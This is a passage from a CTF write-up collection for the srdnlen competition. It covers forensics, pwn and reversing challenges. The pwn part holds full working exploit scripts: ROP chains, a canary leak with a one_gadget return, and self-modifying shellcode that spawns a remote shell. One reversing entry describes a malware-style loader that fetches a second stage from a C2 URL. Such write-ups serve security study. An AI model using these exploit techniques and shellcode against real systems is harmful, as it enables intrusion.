    cands.append(good)

print("Candidates per key byte:", cands)

# Enumerate candidates and print decoded plaintexts
for k0 in cands[0]:
    for k1 in cands[1]:
        for k2 in cands[2]:
            for k3 in cands[3]:
                key = [k0, k1, k2, k3]
                pt = ''.join(chr(c ^ key[i % 4]) for i, c in enumerate(docbody))
                if pt.startswith("srd") and pt.endswith("}"):
                    print("key=", key, "->", pt)

Output includes:

key= [189, 74, 108, 238] -> srdnlen{wh3n_c0r3l_w4s_4n_4lt3rn4t1v3}

Submitted flag:

srdnlen{wh3n_c0r3l_w4s_4n_4lt3rn4t1v3}

The Trilogy of Death Volume II: The Legendary Armory

Description

Forensics challenge on a Windows minidump (chall.dmp) with the hint that two relics in volatile memory must be XORed.

Solution

The visible SRDNLEN{REALLY_EASY?} image text was a decoy.

The real path came from the d.iso clue in a recovered image fragment and recovered ISO directory entries (K.;1, T.;1). The clean T payload copy in memory is at 0x7625d8b (size 176578), and the 8-byte XOR key is:

f4 14 a5 31 17 02 0b 84

XORing T with this repeating key yields a ZIP local-header stream (no central directory). Extracting entries from local headers recovers multiple ZZT files, including TOWN.ZZT.

Inside TOWN.ZZT, the Armory text is stored as repeated control triples \x01\x35<char>. Decoding that run reveals the flag.

Repro script:

from pathlib import Path
import struct
import zlib
import re

dump = Path("chall.dmp").read_bytes()

# Recovered from memory artifacts
key = bytes.fromhex("f4 14 a5 31 17 02 0b 84")
T_OFF = 0x7625D8B
T_SIZE = 176578

enc_t = dump[T_OFF:T_OFF + T_SIZE]
dec = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc_t))

# Parse ZIP local headers directly (no central directory required)
files = {}
pos = 0
while True:
    off = dec.find(b"PK\x03\x04", pos)
    if off < 0 or off + 30 > len(dec):
        break

    (ver, flag, method, mtime, mdate, crc, csize, usize, nlen, xlen) = struct.unpack_from(
        "<HHHHHIIIHH", dec, off + 4
    )

    name_b = dec[off + 30:off + 30 + nlen]
    data_off = off + 30 + nlen + xlen
    if not name_b or data_off + csize > len(dec):
        pos = off + 1
        continue

    try:
        name = name_b.decode("ascii")
    except UnicodeDecodeError:
        pos = off + 1
        continue

    comp = dec[data_off:data_off + csize]
    try:
        if method == 8:
            raw = zlib.decompress(comp, -15)  # raw deflate
        elif method == 0:
            raw = comp
        else:
            pos = off + 1
            continue
    except zlib.error:
        pos = off + 1
        continue

    files[name] = raw
    pos = data_off + csize

town = files["TOWN.ZZT"]

# Armory hidden text format: (0x01, 0x35, printable_char) repeated
for m in re.finditer(rb"(?:\x01\x35[\x20-\x7e]){8,}", town):
    s = "".join(chr(town[i + 2]) for i in range(m.start(), m.end(), 3))
    if "srdnlen{" in s:
        print(s)
        break

Output:

srdnlen{rdvr4md1sk_h1d3s_th3_s3cret_4rmory!}

The Trilogy of Death Volume III: The Poisoned Apple

Description

Given poisoned_apple.zip (contains poisoned_apple.dmg), encrypted_flag.bin, and a slow decryptor (decrypt_flag.py) with 500,000 candidate keys (keys/key_*.txt) inside APFS.

Bruteforce is intentionally impractical (PBKDF2-SHA256, 140000000 iterations).

Solution

The intended path is APFS forensics, not crypto.

1. Extract and inspect image:

7z x -mmt=1 -y poisoned_apple.zip poisoned_apple.dmg
fdisk -l poisoned_apple.dmg
# APFS partition starts at sector 409640

1. Extract APFS partition and locate APFS volume superblocks (APSB):

dd if=poisoned_apple.dmg of=apfs_partition.img bs=512 skip=409640 count=5881776 conv=sparse

# find APFS volume superblocks (snapshot-like states)
import mmap, struct
from pathlib import Path

with Path("apfs_partition.img").open("rb") as f:
    mm = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
    pos = 0
    snaps = []
    while True:
        i = mm.find(b"APSB", pos)
        if i == -1:
            break
        if (i - 32) % 4096 == 0:
            blk = (i - 32) // 4096
            hdr = mm[i - 32:i]
            xid = struct.unpack_from("<Q", hdr, 16)[0]
            snaps.append((xid, blk))
        pos = i + 1
    mm.close()

for xid, blk in sorted(set(snaps))[:5]:
    print(xid, blk)

1. Enumerate APFS root and confirm key directory size:

fls -f apfs -P apfs -B 550376 apfs_partition.img
# root: .fseventsd, keys, encrypted_flag.bin
istat -f apfs -P apfs -B 550376 apfs_partition.img 19
# keys has 500000 children

1. Parse .fseventsd and find outlier activity:

icat -f apfs -P apfs -B 550376 apfs_partition.img 500211 > fsevent_500211.bin
gzip -dc fsevent_500211.bin > fsevent_500211.raw

# quick parser for 3SLD event stream: path + (event_id, flags, file_id, unk)
from pathlib import Path
b = Path("fsevent_500211.raw").read_bytes()

pos = 12  # skip 3SLD header
records = []
while pos < len(b):
    end = b.find(b"\x00", pos)
    if end == -1 or end + 1 + 24 > len(b):
        break
    path = b[pos:end].decode("utf-8", "replace")
    pos = end + 1
    event_id = int.from_bytes(b[pos:pos+8], "little"); pos += 8
    flags    = int.from_bytes(b[pos:pos+4], "little"); pos += 4
    file_id  = int.from_bytes(b[pos:pos+8], "little"); pos += 8
    unk      = int.from_bytes(b[pos:pos+4], "little"); pos += 4
    records.append((path, event_id, flags, file_id, unk))

# key_449231 is the important outlier with different flags from bulk-generated keys
for r in records:
    if "key_449231" in r[0]:
        print(r)

1. Read key_449231 across APFS superblock states (history):

import subprocess, struct, mmap
from pathlib import Path

# collect APSB blocks with XIDs
with Path("apfs_partition.img").open("rb") as f:
    mm = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
    pos = 0
    snaps = []
    while True:
        i = mm.find(b"APSB", pos)
        if i == -1:
            break
        if (i - 32) % 4096 == 0:
            blk = (i - 32) // 4096
            hdr = mm[i-32:i]
            xid = struct.unpack_from("<Q", hdr, 16)[0]
            snaps.append((xid, blk))
        pos = i + 1
    mm.close()

snaps = sorted(set(snaps))
values = []
for xid, blk in snaps:
    try:
        out = subprocess.check_output(
            ["icat", "-f", "apfs", "-P", "apfs", "-B", str(blk), "apfs_partition.img", "449414"],
            stderr=subprocess.DEVNULL,
            timeout=5,
        ).decode().strip()
        if out:
            values.append((xid, blk, out))
    except Exception:
        pass

for row in values:
    print(row)

This shows two historical values for inode 449414 (keys/key_449231.txt):

• old (xid <= 5526): 39f520679fd68654500f9cd44e8caed2bc897a3227dc297c4520336de2a59dd7

• new (xid >= 5527): b1a64c6e89971c26ce98d5984ec0499756306813c692ebb26cc039ad4c9b3319

The newer one is the poisoned value; the older snapshot value is the real key.

1. Decrypt and verify:

import hashlib, hmac, struct
from pathlib import Path

key_hex = "39f520679fd68654500f9cd44e8caed2bc897a3227dc297c4520336de2a59dd7"

data = Path("encrypted_flag.bin").read_bytes()
salt = data[:16]
iterations, flag_len = struct.unpack("<II", data[16:24])
padded_len = ((flag_len + 31) // 32) * 32
ciphertext = data[24:24+padded_len]
stored_tag = data[24+padded_len:24+padded_len+32]

derived = hashlib.pbkdf2_hmac("sha256", bytes.fromhex(key_hex), salt, iterations)
assert hmac.compare_digest(hmac.new(derived, ciphertext, hashlib.sha256).digest(), stored_tag)

pt = bytearray()
for i in range(0, len(ciphertext), 32):
    block_key = hashlib.sha256(derived + struct.pack("<I", i // 32)).digest()
    for j in range(min(32, len(ciphertext) - i)):
        pt.append(ciphertext[i+j] ^ block_key[j])

print(bytes(pt[:flag_len]).decode())

Recovered flag: srdnlen{b3h0ld_th3_d34dl1_APFS!}

---

pwn

common_offset

Description

common_offset is a 64-bit non-PIE ELF with NX, no canary, and partial RELRO. The program lets you write to one of 4 file-buffers with a shared offset.

Bug: in change_files(), index and offset overlap in stack bytes:

• index is stored at [rsp+0x49]

• offset is a word at [rsp+0x48]

By first setting index=0 and increasing offset by 1, then setting index=3 and increasing by 255, carry corrupts effective index to 4 and produces OOB table access into the change_files stack frame. That gives RIP control on return.

Solution

Two-stage exploit:

1. Stage1 RIP overwrite to call read_stdin again and land on add rsp,0x28; ret.

2. Stage2 ROP that:

• leaks puts@got to compute libc base,

• runs a small write-VM (get_number -> mov rdi,rax ; add rsp,0x58 ; ret -> read_stdin) to place arbitrary 8-byte chunks in .bss,

• finally jumps to setcontext with a crafted fake ucontext.

Final payload uses:

• fopen("/challenge/flag.txt", "r")

• mov rdx, rax ; ret to pass returned FILE* to fgets

• fgets(buf, 0x80, fp)

• puts(buf)

Important gotcha: this service accepted libc symbol offsets (puts/fgets/fopen/setcontext) from the provided libc.so.6, but gadget offsets differed between Ubuntu 2.42-0ubuntu3 and 2.42-0ubuntu3.1. So the exploit tries both gadget sets:

• set A: pop rdi=0x11b93a, mov rdx,rax=0x145f17

• set B: pop rdi=0x11b8ba, mov rdx,rax=0x145ed7

Remote solved with set B.

#!/usr/bin/env python3
from pwn import *
import re
import time

context.log_level = "error"
context.binary = elf = ELF("./attachments/common_offset", checksec=False)
libc = ELF("./attachments/libc.so.6", checksec=False)

HOST = "common-offset.challs.srdnlen.it"
PORT = 1089

# Binary gadgets/functions
ADD28 = 0x40157B
POP_RAX = 0x4014EC
MOV_RDI_RAX_ADD58_RET = 0x4014E5
DISPATCH_RDI404048_JMP_RAX = 0x401167
RET_MAIN = 0x401140

READ_STDIN = elf.sym["read_stdin"]
GET_NUMBER = elf.sym["get_number"]
PUTS_PLT = elf.plt["puts"]
PUTS_GOT = elf.got["puts"]

# Writable addresses
CTX = 0x404048
FP = 0x404300
ROP = 0x404500
STR = 0x404900
BUF = 0x404A80
DUMMY = 0x404FE0

STAGE1 = b"A" * 0x0F + p64(READ_STDIN) + p64(ADD28)
FLAG_RE = re.compile(br"srdnlen\{[^\n\r\x00]{1,200}\}")

# Candidate gadget sets for nearby glibc patch variants
GADGET_CANDIDATES = [
    {"pop_rdi": 0x11B93A, "pop_rsi": 0x5C247, "mov_rdx_rax": 0x145F17},
    {"pop_rdi": 0x11B8BA, "pop_rsi": 0x5C247, "mov_rdx_rax": 0x145ED7},
]

def build_stage2(m: int) -> bytes:
    size = 0x98 + m * 0x70 + 0x10
    d = bytearray(b"B" * size)

    # leak puts@got
    d[0x20:0x28] = p64(POP_RAX)
    d[0x28:0x30] = p64(PUTS_GOT)
    d[0x30:0x38] = p64(MOV_RDI_RAX_ADD58_RET)
    d[0x90:0x98] = p64(PUTS_PLT)

    cur = 0x98
    for _ in range(m):
        d[cur:cur+8] = p64(GET_NUMBER)
        d[cur+8:cur+0x10] = p64(MOV_RDI_RAX_ADD58_RET)
        d[cur+0x68:cur+0x70] = p64(READ_STDIN)
        cur += 0x70

    d[cur:cur+8] = p64(GET_NUMBER)
    d[cur+8:cur+0x10] = p64(DISPATCH_RDI404048_JMP_RAX)

    out = bytes(d)
    assert b"\x0a" not in out
    return out

def build_ops(base: int, gadgets: dict, path: bytes):
    setctx = base + libc.sym["setcontext"]
    fopen = base + libc.sym["fopen"]
    fgets = base + libc.sym["fgets"]
    puts = base + libc.sym["puts"]

    pop_rdi = base + gadgets["pop_rdi"]
    pop_rsi = base + gadgets["pop_rsi"]
    mov_rdx_rax = base + gadgets["mov_rdx_rax"]

    mode_addr = STR + len(path) + 1

    ops = [
        # setcontext argument struct
        (CTX + 0x68, p64(STR)),
        (CTX + 0x70, p64(mode_addr)),
        (CTX + 0x88, p64(0)),
        (CTX + 0x98, p64(0)),
        (CTX + 0xA0, p64(ROP)),
        (CTX + 0xA8, p64(fopen)),
        (CTX + 0xE0, p64(FP)),
        (CTX + 0x1C0, p64(0x1F80)),

        # post-fopen chain
        (ROP + 0x00, p64(mov_rdx_rax)),
        (ROP + 0x08, p64(pop_rdi)),
        (ROP + 0x10, p64(BUF)),
        (ROP + 0x18, p64(pop_rsi)),
        (ROP + 0x20, p64(0x80)),
        (ROP + 0x28, p64(fgets)),
        (ROP + 0x30, p64(pop_rdi)),
        (ROP + 0x38, p64(BUF)),
        (ROP + 0x40, p64(puts)),
        (ROP + 0x48, p64(RET_MAIN)),
    ]

    s = path + b"\x00r\x00"
    s = s.ljust((len(s) + 7) // 8 * 8, b"\x00")
    for i in range(0, len(s), 8):
        ops.append((STR + i, s[i:i+8]))

    return ops, setctx

def run_once(stage2: bytes, m: int, gadgets: dict, path: bytes):
    io = None
    try:
        io = remote(HOST, PORT, timeout=8)

        io.recvuntil(b"> ", timeout=7)
        io.sendline(b"aaaaaa")
        for v in (b"0", b"1", b"X", b"3", b"255"):
            io.recvuntil(b"> ", timeout=7)
            io.sendline(v)

        io.recvuntil(b"> ", timeout=7)
        io.send(STAGE1)

        io.recvuntil(b"Goodbye, aaaaaa!\n", timeout=7)
        io.sendline(stage2)

        leak = io.recvuntil(b"\n", drop=True, timeout=7)
        if not leak or len(leak) > 8:
            return "noleak", b""

        leak_puts = u64(leak.ljust(8, b"\x00"))
        base = leak_puts - libc.sym["puts"]
        if base & 0xFFF:
            return "badbase", b""

        ops, setctx = build_ops(base, gadgets, path)
        if len(ops) > m:
            return "ops_big", b""

        while len(ops) < m:
            ops.append((DUMMY, b"Q" * 8))

        for _, blob in ops:
            if b"\x0a" in blob:
                return "blob_newline", b""

        for addr, data in ops:
            io.sendline(str(addr).encode())
            io.sendline(data)

        io.sendline(str(setctx).encode())
        time.sleep(0.9)
        out = io.recvrepeat(2.5)
        return "ok", out

    except EOFError:
        return "EOF", b""
    except Exception as e:
        return type(e).__name__, b""
    finally:
        try:
            if io:
                io.close()
        except Exception:
            pass

def main():
    m = 30
    stage2 = build_stage2(m)
    paths = [b"/challenge/flag.txt", b"/flag.txt", b"/flag"]

    for gidx, g in enumerate(GADGET_CANDIDATES):
        print(f"[+] trying gadget set {gidx}: {g}")
        for path in paths:
            print(f"[+] path {path!r}")
            for i in range(1, 31):
                st, out = run_once(stage2, m, g, path)
                s = out.replace(b"\x00", b"") if out else b""
                print(f"  [{i:02d}] {st} len={len(out)} sample={s[:80]!r}")

                mflag = FLAG_RE.search(s)
                if mflag:
                    print(f"\nFLAG: {mflag.group().decode()}")
                    return

                time.sleep(0.2)

    print("[-] flag not found")

if __name__ == "__main__":
    main()

Recovered flag: srdnlen{DL-r35m4LLv3}

Echo

Description

The program implements an echo loop with a custom read_stdin routine. Bug: read_stdin uses an 8-bit index and loop condition idx <= len, so for len = 0x40 it writes 65 bytes into a 64-byte buffer (1-byte overflow). That single-byte overflow hits the adjacent len variable on the stack, letting us increase future read sizes and eventually control data up to canary/saved frame/return addresses.

Solution

Key stack layout inside echo:

• buffer: [rbp-0x50 ... rbp-0x11] (64 bytes)

• len byte: [rbp-0x10]

• canary: [rbp-0x8 ... rbp-0x1]

• saved rbp: [rbp+0x0 ... rbp+0x7]

• return address: [rbp+0x8 ... rbp+0xf]

Exploit plan:

1. Overflow len from 0x40 to 0x48.

2. With len=0x48, overwrite canary first byte with nonzero and leak:

• canary bytes 1..7

• saved rbp (stack leak)

1. Set len=0x77, then print past many stack values to leak main’s libc return address from stack.

2. Compute libc_base from leaked return address (ret_off = 0x2a1ca), then choose one_gadget 0xef52b.

3. Final payload restores correct canary, sets a fake rbp into controlled stack memory, and overwrites RIP with one_gadget.

4. one_gadget constraints are satisfied by placing NULL qwords at [rbp-0x78] and [rbp-0x60].

5. Spawn shell and read /challenge/flag.txt.

Exploit code:

#!/usr/bin/env python3
from pwn import *
import re

HOST = "echo.challs.srdnlen.it"
PORT = 1091

# Derived from local glibc 2.39; remote matched these offsets.
LIBC_RET_FROM_MAIN_OFF = 0x2A1CA
ONE_GADGET_OFF = 0xEF52B

FLAG_RE = re.compile(rb"srdnlen\{[^}\n]+\}")


def recv_prompt(io):
    io.recvuntil(b"echo ")


def send_and_get_echo(io, payload):
    io.send(payload)
    data = io.recvuntil(b"echo ", timeout=3)
    if not data.endswith(b"echo "):
        raise RuntimeError("missing next prompt")
    line = data[:-5]
    if not line.endswith(b"\n"):
        raise RuntimeError("missing echoed newline")
    return line[:-1]


def exploit_once():
    io = remote(HOST, PORT)
    recv_prompt(io)

    # Stage 1: one-byte overflow into len, set len=0x48.
    send_and_get_echo(io, b"A" * 64 + b"\x48")

    # Stage 2: leak canary (bytes 1..7) and saved rbp, set len=0x77.
    stage2 = b"B" * 64 + b"\x77" + b"C" * 7 + b"D"
    out2 = send_and_get_echo(io, stage2)
    leak2 = out2[len(stage2) :]
    if len(leak2) < 13:
        raise RuntimeError(f"short stage2 leak ({len(leak2)})")

    canary = b"\x00" + leak2[:7]
    saved_rbp = u64(leak2[7:13].ljust(8, b"\x00"))
    buf_addr = saved_rbp - 0x70

    # Stage 3: keep printing past canary/stack values to leak main's libc return address.
    stage3 = bytearray([0x45] * 0x78)
    stage3[64] = 0x77
    stage3[72] = 0x01
    stage3[73:80] = canary[1:]
    out3 = send_and_get_echo(io, bytes(stage3))
    leak3 = out3[len(stage3) :]
    if len(leak3) < 6:
        raise RuntimeError(f"short stage3 leak ({len(leak3)})")

    main_libc_ret = u64(leak3[:6].ljust(8, b"\x00"))
    libc_base = main_libc_ret - LIBC_RET_FROM_MAIN_OFF
    one_gadget = libc_base + ONE_GADGET_OFF

    # Stage 4: restore real canary, pivot rbp into controlled stack, return to one_gadget.
    fake_rbp = buf_addr + 0x78
    stage4 = bytearray(b"\x00" * 0x78)
    stage4[64] = 0x77
    stage4[72:80] = canary
    stage4[80:88] = p64(fake_rbp)
    stage4[88:96] = p64(one_gadget)

    # one_gadget(0xef52b) constraints:
    # [rbp-0x78] == NULL and [rbp-0x60] == NULL are satisfied by these zeros.
    stage4[0:8] = b"\x00" * 8
    stage4[0x18:0x20] = b"\x00" * 8

    io.send(bytes(stage4))
    return io


def get_flag(io):
    io.sendline(b"cat /challenge/flag.txt")
    data = io.recv(timeout=2) + io.recvrepeat(0.5)
    m = FLAG_RE.search(data)
    if not m:
        raise RuntimeError(f"flag not found in output: {data!r}")
    return m.group(0).decode()


def main():
    context.log_level = "error"
    for attempt in range(1, 16):
        io = None
        try:
            io = exploit_once()
            flag = get_flag(io)
            print(flag)
            io.close()
            return
        except Exception as exc:
            if io is not None:
                try:
                    io.close()
                except Exception:
                    pass
            print(f"[attempt {attempt}] {exc}")
    raise SystemExit("exploit failed too many times")


if __name__ == "__main__":
    main()

Registered Stack

Description

We get a PIE ELF that:

• reads a hex string,

• converts it to bytes (hex_to_bytes),

• validates with Capstone that every instruction is only push/pop with register operands,

• mmaps one RWX page,

• zeros registers, sets rsp = page_base, and jumps to rsp.

Remote service: registered-stack.challs.srdnlen.it:1090.

Solution

Key points:

1. Validation is only on initial bytes; runtime self-modification is allowed.

2. push fs (0f a0) is validator-accepted; patching byte a0 -> 05 yields syscall (0f 05).

3. fgets(buf, 0x200, ...) only accepts at most 511 chars, so max reliable hex payload is 510 chars = 255 bytes. Sending 256 bytes (512 hex chars) truncates and breaks stage input alignment.

4. pop sp with seeded bytes sets rsp low16 to 0xc38f, so exploit is bucketed (works when mmap low16 bucket is c***, ~1/16).

5. For read, rsi must be full pointer (rsp), but rdx must be small. Using rdx=rsp fails on high ASLR addresses (huge count/range issues). Use rdx=rbx=0xc305 instead.

6. Stage-1 does read(0, stage2_buf, 0xc305), then returns to stage2 buffer.

7. Stage-2 is shellcode for marker + /bin/sh, then send shell commands to read the flag.

Recovered flag: srdnlen{Pu5h1n6_4nd_P0pp1n6_6av3_m3_4_h34d4ch3}

#!/usr/bin/env python3
from pwn import *
import argparse
import re
import time

context.arch = 'amd64'
context.log_level = 'error'

BINARY = './attachments/registered_stack'
HOST = 'registered-stack.challs.srdnlen.it'
PORT = 1090

# Stage-1 for mmap low16 bucket c*** (roughly 1/16 attempts), validator-safe.
# NOTE: fgets reads at most 511 chars, so we must send <= 510 hex chars => <= 255 bytes.
def build_stage1():
    n = 66
    code = []
    code += [0x59] * 30                # pop rcx x30 -> rsp += 0xf0
    code += [0x66, 0x5c]               # pop sp      -> 0xc38f (from [0xf0])
    code += [0x50] * 17                # push rax x17
    code += [0x66, 0x50]               # push ax      -> 0xc305
    code += [0x66, 0x54, 0x66, 0x5b]   # push sp; pop bx  (rbx = 0xc305)
    code += [0x50] * n                 # push rax x66
    code += [0x66, 0x59]               # pop cx (+2)
    code += [0x53]                     # push rbx (patches 0x05, leaves 0xc3 after syscall)

    L = len(code)
    S = ((0x2ff - 8 * n) & 0xfff) - 6  # stub offset
    m = S - L
    code += [0x59] * m

    # Stub at S:
    # - rsi = rsp (read buffer pointer)
    # - rdx = rbx (small count 0xc305; avoids huge-count failure on high ASLR addresses)
    # - push rsp for trailing ret target
    # - patched push fs -> syscall
    code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]

    while len(code) < 0x100:
        code.append(0x59)

    # Seed for early pop sp: word 0xc38f at offset 0xf0
    code[0xf0] = 0x8f
    code[0xf1] = 0xc3

    # Keep only 255 bytes so hex input is 510 chars (fits fgets 0x200 limit).
    return bytes(code)[:-1]


def build_stage2():
    # Marker + interactive shell.
    return asm(shellcraft.echo('__S2__\\n') + shellcraft.amd64.linux.sh())


def connect_remote(host, port):
    return remote(host, port)


def connect_local():
    return process(BINARY)


def attempt(io, stage1_hex: bytes, stage2: bytes, delay: float):
    io.recvuntil(b'Write your code > ', timeout=2)
    io.sendline(stage1_hex)

    # Avoid stdio prefetch interactions with fgets(): send raw stage-2 slightly later.
    time.sleep(delay)

    # If first stage works, it will issue read(0, buf, 0xc305) and consume this.
    io.send(stage2)
    data = io.recv(timeout=1.0) or b''
    data += io.recv(timeout=1.0) or b''
    if b'__S2__' not in data:
        return data

    # Stage-2 marker observed: now issue shell commands.
    io.sendline(b'echo __READY__')
    io.sendline(b'cat /flag 2>/dev/null; cat /flag.txt 2>/dev/null; cat flag 2>/dev/null; cat ./flag 2>/dev/null; cat /home/ctf/flag 2>/dev/null; cat /challenge/flag.txt 2>/dev/null')
    data += io.recv(timeout=1.2) or b''
    data += io.recv(timeout=1.2) or b''
    return data


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--local', action='store_true')
    ap.add_argument('--attempts', type=int, default=300)
    ap.add_argument('--host', default=HOST)
    ap.add_argument('--port', type=int, default=PORT)
    ap.add_argument('--delay', type=float, default=0.0)
    args = ap.parse_args()

    use_remote = not args.local
    max_attempts = args.attempts

    stage1 = build_stage1()
    stage1_hex = stage1.hex().encode()
    stage2 = build_stage2()

    flag_re = re.compile(rb'srdnlen\{[^\n\r\}]*\}')

    for i in range(1, max_attempts + 1):
        io = None
        try:
            io = connect_remote(args.host, args.port) if use_remote else connect_local()
            out = attempt(io, stage1_hex, stage2, args.delay)
            m = flag_re.search(out)
            if m:
                flag = m.group(0).decode(errors='ignore')
                print(f'[+] attempt {i}: {flag}')
                return
            if b'__READY__' in out:
                print(f'[+] attempt {i}: shell obtained but flag not found in quick paths')
                print(out.decode(errors='ignore'))
                return
            snippet = out[:180]
            print(f'[-] attempt {i}: no shell ({snippet!r})')
        except EOFError:
            print(f'[-] attempt {i}: EOF')
        except Exception as e:
            print(f'[-] attempt {i}: {e}')
        finally:
            try:
                if io is not None:
                    io.close()
            except Exception:
                pass

    print('[-] exhausted attempts')


if __name__ == '__main__':
    main()

---

rev

Artistic warmup

Description

We are given a Windows PE executable (rev_artistic_warmup.exe) and need to recover the flag.

Solution

Static reversing around the "Invalid flag."/"Valid flag!" references shows the core check at 0x1400bfb00:

• It dynamically resolves GDI APIs.

• It creates a 450x50 32-bit DIB (CreateDIBSection), draws user input with CreateFontA("Consolas", 24) + TextOutA.

• It compares all 0x15f90 = 90000 raw bytes of the rendered bitmap against a blob at .rdata+0x20 (0x1400c5020) with XOR 0xAA:

  • check is ((rendered[i] ^ 0xAA) == blob[i]).

  • so expected rendered bytes are blob[i] ^ 0xAA.

That means the binary already contains the exact target rendered text image. Extract/decode it and OCR.

Code used:

# solve.py
import numpy as np
from PIL import Image
import subprocess

exe = "attachments/rev_artistic_warmup.exe"

data = open(exe, "rb").read()

# From reverse:
# blob starts at file offset 0xC3620, length 0x15F90
off = 0xC3620
n = 0x15F90
blob = np.frombuffer(data[off:off+n], dtype=np.uint8)
expected = blob ^ 0xAA

# Expected rendered DIB is 450x50x4 (BGRA)
img = expected.reshape(50, 450, 4)

# Any of B/G/R channel works (only 0/255 values)
channel = img[:, :, 0]
Image.fromarray(channel, "L").save("target_B.png")

# OCR
cmd = [
    "tesseract", "target_B.png", "stdout",
    "--oem", "1", "--psm", "7",
    "-c", "tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
]
out = subprocess.check_output(cmd, text=True).strip()
print("OCR:", out)

OCR result is very close; using glyph consistency + CTF prefix gives the final exact flag:

srdnlen{pl5_Charles_w1n_th3_champ1on5hip}

Cornflake v3.5

Description

Given malware.exe and the hint:

The evolution of a Cereal Offender

The binary is a staged malware-like loader:

• Stage1 checks the local username with an RC4-based check.

• If it passes, it downloads stage2.exe (DLL) from the challenge host.

• Stage2 reads password.txt and validates it with a custom VM.

Flag accepted by platform:

srdnlen{r3v_c4N_l0ok_l1K3_mAlw4r3}

Solution

1. Reverse stage1 username gate:

• RC4 key in binary: s3cr3t_k3y_v1

• Compared hex: 46f5289437bc009c17817e997ae82bfbd065545d

• RC4-decrypting that value gives: super_powerful_admin

1. Download stage2 from C2 endpoint:

• http://cornflake.challs.srdnlen.it:8000/updates/check.php?SessionID=46f5289437bc009c17817e997ae82bfbd065545d

1. Reverse stage2.exe:

• MainThread reads password.txt, strips CR/LF, calls VM checker, prints ez or nope.

• VM bytecode is embedded and interpreted with opcodes 0..18.

• Extract VM equality constraints over a 34-char srdnlen{...} string.

1. Verify candidate against extracted VM constraints and submit.

Code used:

#!/usr/bin/env python3
# stage1_rc4_decode.py

def rc4(key: bytes, data: bytes) -> bytes:
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xFF
        s[i], s[j] = s[j], s[i]

    i = 0
    j = 0
    out = bytearray()
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + s[i]) & 0xFF
        s[i], s[j] = s[j], s[i]
        out.append(b ^ s[(s[i] + s[j]) & 0xFF])
    return bytes(out)


if __name__ == "__main__":
    key = b"s3cr3t_k3y_v1"
    enc = bytes.fromhex("46f5289437bc009c17817e997ae82bfbd065545d")
    print(rc4(key, enc).decode())
    # super_powerful_admin

#!/usr/bin/env python3
# vm_check.py

def vm_constraints_hold(flag: str) -> bool:
    x = [ord(c) for c in flag]
    if len(x) != 34:
        return False
    if not (flag.startswith("srdnlen{") and flag.endswith("}")):
        return False

    for i in range(8, 33):
        c = x[i]
        if not (
            (ord("a") <= c <= ord("z"))
            or (ord("A") <= c <= ord("Z"))
            or (ord("0") <= c <= ord("9"))
            or c == ord("_")
        ):
            return False

    checks = [
        x[0] == 115,
        ((x[2] - 2) ^ (x[1] + 3)) == 23,
        x[3] == 110,
        (x[4] + x[5]) == 209,
        ((x[21] - 2) ^ (x[33] + 3)) == 234,
        x[3] == x[6],
        2 * x[8] == 228,
        (x[18] ^ (x[12] - x[23])) == 119,
        ((x[15] ^ (x[20] // 4)) + x[10]) == 190,
        (x[29] ^ (x[11] - x[17])) == 88,
        ((x[16] ^ 30) + x[28]) == 222,
        (x[13] + x[14]) == 130,
        (x[9] % 5) == 1,
        0 <= (x[22] - 48) < 34,
        x[x[22] - 48] == 114,
        (x[22] + x[24]) == 100,
        (x[25] + 2 * x[26] - 3 * x[27]) == 118,
        (x[30] + x[31] + x[32]) == 217,
    ]
    return all(checks)


if __name__ == "__main__":
    flag = "srdnlen{r3v_c4N_l0ok_l1K3_mAlw4r3}"
    print(vm_constraints_hold(flag))
    # True

Dante's Trial

Description

And at last, Dante faced the Ferocious Beast. Will they be able to tr(ea)it it? Note: the submitted flag should be enclosed in srdnlen{}.

We are given a Game Boy Advance ROM (dantestrial.gba).

ROM Structure

The GBA ROM contains a custom bytecode VM that validates user input through a hash function. The game presents a text-based interface where an NPC called "G." prompts the player for input (printable ASCII, 0x20-0x7e). The input is hashed and compared against a target value; if it matches, the game displays "Thou art correcteth."

VM Architecture

The ROM loads runtime code from 0x08024100 into IWRAM (0x03000000) and executes a bytecode VM. The VM script at 0x08022654 (169 bytes) is XOR-decoded with (13*i + 0x5a) & 0xff, and opcodes are permuted through a table at 0x0802270c.

The effective execution path is a simple loop:

1. op8: Pop next byte from input queue

2. op11: If zero, jump to halt

3. op10: Hash update step

4. op12: Jump back to step 1

5. op13: Halt

Hash Function

The hash is a modified FNV-1a with several additions:

State: hlo (32-bit), hhi (32-bit), ptr (8-bit), seeded on first character with hlo=0x84222325, hhi=0xcbf29ce4.

Per character c:

x = ((hhi << 32) | (hlo ^ c)) * P          // P = 0x100000001b3 (FNV prime)
x = (x ^ ptr) * P
m = tri_mix(c, 0)                           // 3x3 matrix [1,0,0,1,0,2,2,2,1] over 6 base-3 digits
x ^= m << ((ptr & 7) * 8)
x *= CUP                                    // CUP = 0x9e3779b185ebca87 (golden ratio)
hhi = x >> 32
hlo = (x & 0xffffffff) ^ (hhi >> 1)
ptr += 1 + (m & 1)

Final comparison:

v = ((hhi << 32) | (hlo ^ ptr)) * P
z = fmix64(v)                               // MurmurHash3 finalization
require z == 0x73f3ebcbd9b4cd93

Critical Discovery: VM Memory is Zeros

The tri_mix function takes two arguments: the input character c and a byte d from VM memory at position ptr. Disassembly of the ROM's VM initialization code at 0x08000784 shows it calls memset(EWRAM, 0, 256) with NO subsequent copy of user input into this memory region. The VM script contains no op3 (store) instructions, so memory stays all zeros throughout execution.

This means d=0 always, making tri_mix(c, 0) depend only on the input character. This was verified by running the full VM dispatch loop in Unicorn Engine and comparing against a corrected Python model.

Meet-in-the-Middle Attack

The hash function's forward and backward steps are invertible (using modular inverses of P and CUP mod 2^64), enabling a meet-in-the-middle attack:

1. Forward pass: Enumerate all prefixes of length p, starting from the seed state, storing (hhi, hlo, ptr) in a hash table.

2. Backward pass: Compute the required final state from the target hash by inverting fmix64 and the final multiply. Then enumerate all suffixes of length s, stepping backward from the required final state, and look up matches in the hash table.

Search Process

